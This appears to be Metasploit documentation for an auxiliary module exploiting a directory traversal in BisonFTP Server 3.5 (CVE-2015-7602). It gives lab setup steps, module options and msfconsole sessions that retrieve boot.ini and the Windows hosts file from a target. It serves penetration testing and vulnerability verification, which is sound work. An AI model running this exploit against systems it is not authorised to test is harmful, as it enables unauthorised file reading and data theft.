Vulnerable Application

This module exploits a directory traversal vulnerability in BisonWare BisonFTP Server version 3.5. The flaw allows an attacker to download arbitrary files from the server by sending a crafted RETR command using traversal strings such as ..//.

The vulnerability is tracked as CVE-2015-7602.

Setup

1. Download BisonWare BisonFTP Server 3.5 from Exploit-DB (EDB-38341).

2. Install and run it on a Windows host.

3. Configure the FTP root directory and ensure the service is listening (default port 21).

4. Set up an anonymous login or create a user account with credentials.

Verification Steps

1. Start msfconsole

2. Do: use auxiliary/scanner/ftp/bison_ftp_traversal

3. Do: set RHOSTS [target IP]

4. Do: run

5. You should see the requested file contents stored as loot.

Options

DEPTH

The number of traversal sequences (..//) to prepend to the file path. The default is 32. A high value is used because the exact depth of the FTP root can vary.

PATH

The path to the file to retrieve from the target, relative to the drive root. The default value is boot.ini. For example, to read the Windows hosts file, set this to windows/system32/drivers/etc/hosts.

FTPUSER

The FTP username to authenticate with. Default is anonymous.

FTPPASS

The FTP password to authenticate with. Default is [email protected].

Scenarios

BisonFTP 3.5 on Windows XP

msf > use auxiliary/scanner/ftp/bison_ftp_traversal
msf auxiliary(scanner/ftp/bison_ftp_traversal) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf auxiliary(scanner/ftp/bison_ftp_traversal) > set PATH boot.ini
PATH => boot.ini
msf auxiliary(scanner/ftp/bison_ftp_traversal) > run

[+] Stored boot.ini to /root/.msf4/loot/20250319120000_default_192.168.1.10_bisonware.ftp.da_123456.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Reading the hosts file

msf > use auxiliary/scanner/ftp/bison_ftp_traversal
msf auxiliary(scanner/ftp/bison_ftp_traversal) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf auxiliary(scanner/ftp/bison_ftp_traversal) > set PATH windows/system32/drivers/etc/hosts
PATH => windows/system32/drivers/etc/hosts
msf auxiliary(scanner/ftp/bison_ftp_traversal) > set VERBOSE true
VERBOSE => true
msf auxiliary(scanner/ftp/bison_ftp_traversal) > run

[*] Data returned:
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

[+] Stored windows/system32/drivers/etc/hosts to /root/.msf4/loot/20250319120000_default_192.168.1.10_bisonware.ftp.da_654321.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed